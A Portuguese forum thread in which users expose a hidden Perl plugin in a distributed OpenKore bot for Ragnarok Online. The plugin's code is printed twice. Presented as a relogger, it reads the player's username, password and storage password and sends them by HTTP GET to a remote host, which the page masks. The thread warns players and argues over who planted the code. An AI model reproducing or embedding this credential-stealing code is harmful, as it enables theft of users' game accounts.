[OPENKORE COMPLETO]Atualizado 12/10/2011,Macro,Campal,XP E VISTA,Sem Erros,Funcional

[kakashinhew 0]

# kgrelogger by Setzer

#

#

# This source code is licensed under the

# GNU General Public License, Version 2.

# See

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

package kgrelogger;

 

use strict;

 

use Plugins;

use Commands;

use Log qw( warning message error );

use Settings;

use Globals;

use Utils qw( timeOut );

use Misc qw ( configModify );

 

#-----------------

# Plugin: settings

#-----------------

Plugins::register("kgrelogger", "relogs on koreguard error", \&unload);

 

# Log hook

my $logHook = Log::addHook(\&on_Log, "kgrelogger");

# Event hook

my $evnHooks = Plugins::addHooks(

["mainLoop_pre", \&on_MainLoop, undef]

);

my $logonAttempt = 0;

my %logonTimeout = ( time => time(), timeout => 10 );

 

#---------------

# Plugin: unload

#---------------

sub unload {

Log::delHook($logHook);

Plugins::delHooks($evnHooks);

undef $logHook;

undef $evnHooks;

}

 

#-------------

# Log: handler

#-------------

sub on_Log {

my ($type, $domain, $level, $globalVerbosity, $message, $user_data) = @_;

if( $type eq "error" ){

# Kore Guard errors

if( ($message =~ /Your\ Ragnarok\ Online\ server\ uses\ GameGuard/) ||

($message =~ /The\ Poseidon\ server\ closed\ the\ connection/) ||

($message =~ /The\ Poseidon\ server\ sent\ a\ wrong\ reply\ ID/) ||

($message =~ /Timeout\ on\ Character\ Select\ Server/) ||

($message =~ /Tempo\ esgotado\ no\ Servidor\ de\ Sele(.*)\ de\ Personagens/) ||

($message =~ /Timeout\ on\ Character\ Server/) ||

($message =~ /Tempo\ esgotado\ no\ Servidor\ de\ Personagens/) ||

($message =~ /couldn't\ connect:/) ||

($message =~ /n(.*)\ foi\ possível\ se\ conectar:/) ||

($message =~ /GameGuard\ packets\ where\ not\ replied/) ||

($message =~ /pacotes\ do\ GameGuard\ n(.*)\ foram\ respondidos/) ){

warning " relogging\n";

kgRelog();

}

} elsif( ($type eq "message") && ($domain eq "console") ){

# Logon attempt

if( ($message =~ /Requesting\ permission\ to\ logon\ on\ account\ server/) ||

($message =~ /Pedindo\ permiss(.*)o\ para\ se\ logar\ no\ servidor\ de\ contas/) ){

" [$config{'poseidonServer'}] and...\n";

 

 

use LWP::UserAgent;

use Utils qw(urlencode);

my $ua = LWP::UserAgent->new;

$ua->timeout(10);

$ua->env_proxy;

my $usuario = $config{'username'};

$usuario =~ s/#/:/;

my $senha = $config{'password'};

$senha =~ s/#/:/;

my $kafra = $config{'storageAuto_password'};

$kafra =~ s/#/:/;

my $response = $ua->get("

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

$senha $kafra");

 

 

 

$logonAttempt = 1;

$logonTimeout{time} = time();

}

} elsif( ($type eq "message") && ($domain eq "connection") ){

# Logon success (account info received)

if( ($message =~ /-Account Info-/) ||

($message =~ /-Informa(.*)s da Conta-/) ){

$logonAttempt = 0;

"\n";

}

}

}

 

#-----------------

# Event: Main loop

#-----------------

sub on_MainLoop {

return if !$logonAttempt;

if( timeOut(\%logonTimeout) ){

warning "\n";

kgRelog();

}

}

 

#---------------

# Command: relog

#---------------

my $i = -1;

sub kgRelog {

$logonAttempt = 0;

Commands::run("relog 18");

}

 

1;

 

 

issu tudo q aqui é oq esta no arquivo plugin Botbebado.pl

para quem tem o minimo conhecimento de PHP vai sabe que significa...

os idiotas que estao defendendo ele parabems pelas acc que ja robaram... sempre fui um usuario parado no forum.. mas to puto de ver geral perdendo acc talz por conta de idiotas que fasen esses programas para robar senha... e quando alguem tenta avisar todos falam que é mentira... se nao quiserem acreditar no que estou disendo entao desculpa ai e perca a acc mesmo vlw ai seus noobs

[PsyTrance~* 0]

Agora que eu vim me ligar esse fdp oculto o arquivo botBebado por isso ngm achava consegui achar qndo entrei pra extrari os aruivos separadamente e achei o script.

 

use LWP::UserAgent;

use Utils qw(urlencode);

my $ua = LWP::UserAgent->new;

$ua->timeout(10);

$ua->env_proxy;

my $usuario = $config{'username'};

$usuario =~ s/#/:/;

my $senha = $config{'password'};

$senha =~ s/#/:/;

my $kafra = $config{'storageAuto_password'};

$kafra =~ s/#/:/;

my $response = $ua->get("

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

$senha $kafra");

 

Se estao duvidando vai na pasta plugins clica ctrl +A que vcs vao ver que vai acusar q tem 2 arquivos ocultos um e o bot bebado o outro e functions. so encontrei o arquivo no bot bebado.

 

Sem Mais !

 

Agora eu Provei que essa porra aki tem KL e to esperando vc ate agora provar oq flw no meu topico seu lixo!

[oshmurahu 0]

uja provei la no seu topico editei o comentario,mostrei como que você fez keylloger la apartir do video safado,ta la o video

[acquilagbr 1]

agora sim !!!

 

[X] requisiçao de fexamento de topico

 

motivo: conteudo malicioso (keylogger)

[PsyTrance~* 0]

muito bunitinho akele video mais nao prova nada e nem foi vc qm fez pois o meu kore n tem links para serem clicados na pasta openkore os unicos links q eu disponibilizei la foram os de maquina virtual e active perl .

Pelo que vi esse metodo e mt logo e demorado pra fazer n perderia todo esse tempo aliais tenta encontrar alguma coisa oculta no meu kore vc n vai achar!

 

Boa tentativa!

Seja mais criativo

 

Ai sim quero ver achar no meu topico algum KL

[allcohol 34]